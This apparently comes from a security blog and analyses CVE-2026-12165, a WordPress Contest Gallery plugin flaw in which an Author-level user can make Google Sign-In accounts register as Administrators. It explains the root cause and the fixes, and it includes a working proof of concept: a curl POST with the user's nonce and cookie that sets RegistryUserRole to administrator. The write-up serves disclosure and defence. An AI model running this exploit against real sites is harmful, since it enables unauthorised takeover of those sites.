CVE-2026-12165: Contest Gallery Author+ Privilege Escalation (CVSS 8.8)
Table of Contents
CVE-2026-12165 is a CVSS 8.8 (High) Authenticated Privilege Escalation vulnerability in the Contest Gallery – Upload & Vote Photos, Media, Sell with PayPal & Stripe WordPress plugin. An attacker with Author-level access can overwrite a stored role option and cause newly registered Google Sign-In accounts to receive Administrator privileges.
Vulnerability Summary
| Field | Value |
|---|---|
| Plugin Name | Contest Gallery – Upload & Vote Photos, Media, Sell with PayPal & Stripe |
| Plugin Slug | contest-gallery |
| CVE ID | CVE-2026-12165 |
| CVSS Score | 8.8 (High) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Vulnerability Type | Improper Privilege Management |
| Affected Versions | <= 30.0.2 |
| Patched Version | 30.0.3 |
| Published | June 16, 2026 |
| Researcher | Chloe Chamberland - Wordfence |
| Wordfence Advisory | Link |
Description
The Contest Gallery plugin lets users run photo contests with optional Google Sign-In registration. When a visitor registers through Google, the plugin reads a stored option called RegistryUserRole and passes it directly to WordPress’s wp_update_user() function, setting the new account’s role.
In versions up to 30.0.2, the option-saving handler had no capability check. Any Author-level user could submit a crafted POST request and change RegistryUserRole to administrator. The next Google Sign-In registration would then receive Administrator access.
Technical Analysis
Root Cause: Admin Menu Registered at edit_posts
The plugin’s admin menu is registered with the edit_posts capability:
// index.php, L407
add_menu_page(
'Contest Gallery',
'Contest Gallery',
'edit_posts', // Author, Editor, and Administrator all have this
__FILE__,
'contest_gallery_action',
'none'
);
WordPress grants edit_posts to Contributors, Authors, Editors, and Administrators. Because of this, any Author-level user can visit the plugin’s admin options page and see all its settings forms — including a valid cg_admin nonce embedded in every form via wp_nonce_field('cg_admin').
Missing Capability Check in the Save Handler
When a user saves options, the plugin includes change-options-and-sizes.php via this condition in v10/include-conditions-v10.php:
if (!empty($_POST['changeSize'])) {
require_once('v10-admin/options/change-options-and-sizes.php');
}
The first line of change-options-and-sizes.php is the only security check:
// v10/v10-admin/options/change-options-and-sizes.php, L16
check_admin_referer('cg_admin');
This is a nonce check. It confirms the request came from someone who loaded an admin page. It does NOT confirm the user has the right to change these settings. There is no current_user_can() call anywhere in the file.
Because any Author can load the options form and get a valid cg_admin nonce, this check is trivially satisfied.
Unrestricted RegistryUserRole Write
After passing the nonce check, the handler reads the RegistryUserRole POST parameter with no allowlist validation:
// v10/v10-admin/options/change-options-and-sizes.php, L1239-1240
$RegistryUserRoleForRegistryAndLoginOptions = sanitize_text_field(
htmlentities((isset($_POST['RegistryUserRole'])) ? $_POST['RegistryUserRole'] : '')
);
sanitize_text_field() and htmlentities() only strip HTML and extra whitespace. They do not restrict the value to valid role names. An attacker can pass administrator and it goes straight through.
This value is then saved to the contest_gal1ery_registry_and_login_options database table via cg_update_registry_and_login_options_v14().
Role Consumed Without Validation on Google Sign-In
When a visitor registers through Google Sign-In, cg_create_wp_user_from_google_user reads the stored role directly from the database:
// functions/google/cg-create-wp-user-from-google-user.php, L103
$RegistryUserRole = $wpdb->get_var(
"SELECT RegistryUserRole FROM $tablename_registry_and_login_options WHERE GeneralID = 1"
);
There is no allowlist check on this value. It is passed directly to wp_update_user():
// functions/google/cg-create-wp-user-from-google-user.php, L169
wp_update_user( array( 'ID' => $WpUserId, 'role' => $RegistryUserRole ) );
WordPress applies whatever role string is given. If it is administrator, the new account becomes an Administrator.
Full Attack Chain
Author logs into /wp-admin
→ loads options page (accessible via edit_posts)
→ obtains valid cg_admin nonce from page HTML
→ sends POST with changeSize=1, RegistryUserRole=administrator
→ no current_user_can() check → value saved to DB
Attacker creates a Google account
→ registers via Google Sign-In on the plugin's frontend form
→ cg_create_wp_user_from_google_user reads RegistryUserRole = "administrator"
→ wp_update_user() promotes new account to Administrator
→ attacker has full site control
Proof of Concept
Disclaimer: This PoC is for authorized testing and educational purposes only. Do not use it on systems you do not own or have explicit permission to test.
Prerequisites:
- Contest Gallery <= 30.0.2 installed and activated
- Google Sign-In feature enabled in the plugin settings
- A WordPress user account with Author role (or above)
- A Google account for the final registration step
Step 1 — Obtain the nonce as an Author
Log in as an Author-level user and visit the plugin options page. The gallery option ID may vary; use option_id=1 for the first gallery.
GET /wp-admin/admin.php?page=contest-gallery%2Findex.php&edit_options=1&option_id=1
Find the _wpnonce value in the page source (inside a hidden input named _wpnonce associated with the cg_admin action).
Step 2 — Overwrite RegistryUserRole with administrator
Replace <YOUR_NONCE>, <COOKIE>, and <SITE_URL> with real values:
curl -s -X POST "<SITE_URL>/wp-admin/admin.php?page=contest-gallery%2Findex.php&edit_options=1&option_id=1" \
-H "Cookie: <COOKIE>" \
-d "changeSize=1&option_id=1&_wpnonce=<YOUR_NONCE>&_wp_http_referer=%2Fwp-admin%2Fadmin.php&RegistryUserRole=administrator"
A 200 response with the page HTML means the option was saved.
Step 3 — Verify the database change (optional)
SELECT RegistryUserRole FROM wp_contest_gal1ery_registry_and_login_options WHERE GeneralID = 1;
-- Expected result: administrator
Step 4 — Register via Google Sign-In
Visit the page where the Contest Gallery Google Sign-In shortcode is embedded and complete registration with a Google account. The plugin reads RegistryUserRole = administrator and calls:
wp_update_user( array( 'ID' => $new_user_id, 'role' => 'administrator' ) );
Step 5 — Verify privilege escalation
Log in with the newly registered Google account. Navigate to /wp-admin/. Full Administrator access is confirmed.
Patch Analysis
Version 30.0.3 introduced three fixes.
Fix 1 — Capability check added at the top of the save handler:
// v10/v10-admin/options/change-options-and-sizes.php
+if (!is_user_logged_in() || !current_user_can('publish_posts') || !cg_user_has_backend_access()) {
+ cg_die_missing_backend_access();
+}
+
check_admin_referer('cg_admin');
Only Administrators, Editors, and Authors pass cg_user_has_backend_access(). The check stops Contributors and unauthenticated requests before any data is read.
Fix 2 — RegistryUserRole changes now require manage_options:
+if (current_user_can('manage_options')) {
+ $postedRegistryUserRole = (isset($_POST['RegistryUserRole'])) ? $_POST['RegistryUserRole'] : $currentRegistryUserRole;
+ $safeRegistryUserRole = cg_get_safe_registry_user_role($postedRegistryUserRole, $dbVersion);
+} else {
+ $safeRegistryUserRole = $currentRegistryUserRole; // Authors cannot change this
+}
-$RegistryUserRoleForRegistryAndLoginOptions = sanitize_text_field(htmlentities($_POST['RegistryUserRole'] ?? ''));
+$RegistryUserRoleForRegistryAndLoginOptions = $safeRegistryUserRole;
Only Administrators (who have manage_options) can change the role. Authors are silently kept on the current value.
Fix 3 — Role allowlist enforced at the point of use:
The new cg_get_safe_registry_user_role() function validates against an explicit allowlist — subscriber, contest_gallery_user_since_v14, and empty string — before any role is applied:
function cg_get_allowed_registry_user_roles($galleryDbVersion = 14, $allowEmpty = true) {
$roles = ['subscriber' => true];
if ($allowEmpty) { $roles[''] = true; }
if (intval($galleryDbVersion) >= 14) {
$roles['contest_gallery_user_since_v14'] = true;
} else {
$roles['contest_gallery_user'] = true;
}
return $roles;
}
administrator is not on the list. Even if an attacker managed to write it, the Google registration handler now runs the value through this allowlist before calling wp_update_user().
Timeline
| Date | Event |
|---|---|
| June 16, 2026 | Vulnerability publicly disclosed by Wordfence |
| June 16, 2026 | Version 30.0.3 released with the fix |
| June 17, 2026 | This blog post published |
Remediation
Update the Contest Gallery plugin to version 30.0.3 or later immediately. No configuration change can mitigate this vulnerability in earlier versions — the option-saving handler has no access control at all.
If you cannot update right away, consider temporarily disabling the Google Sign-In feature to block the escalation path.
References
- Wordfence Advisory — CVE-2026-12165
- CVE Record — CVE-2026-12165
- Vulnerable: change-options-and-sizes.php L1242
- Vulnerable: cg-create-wp-user-from-google-user.php L169
- Vulnerable: change-options-and-sizes.php L16 (nonce-only check)
- Vulnerable: index.php L407 (edit_posts menu registration)
- Patch changeset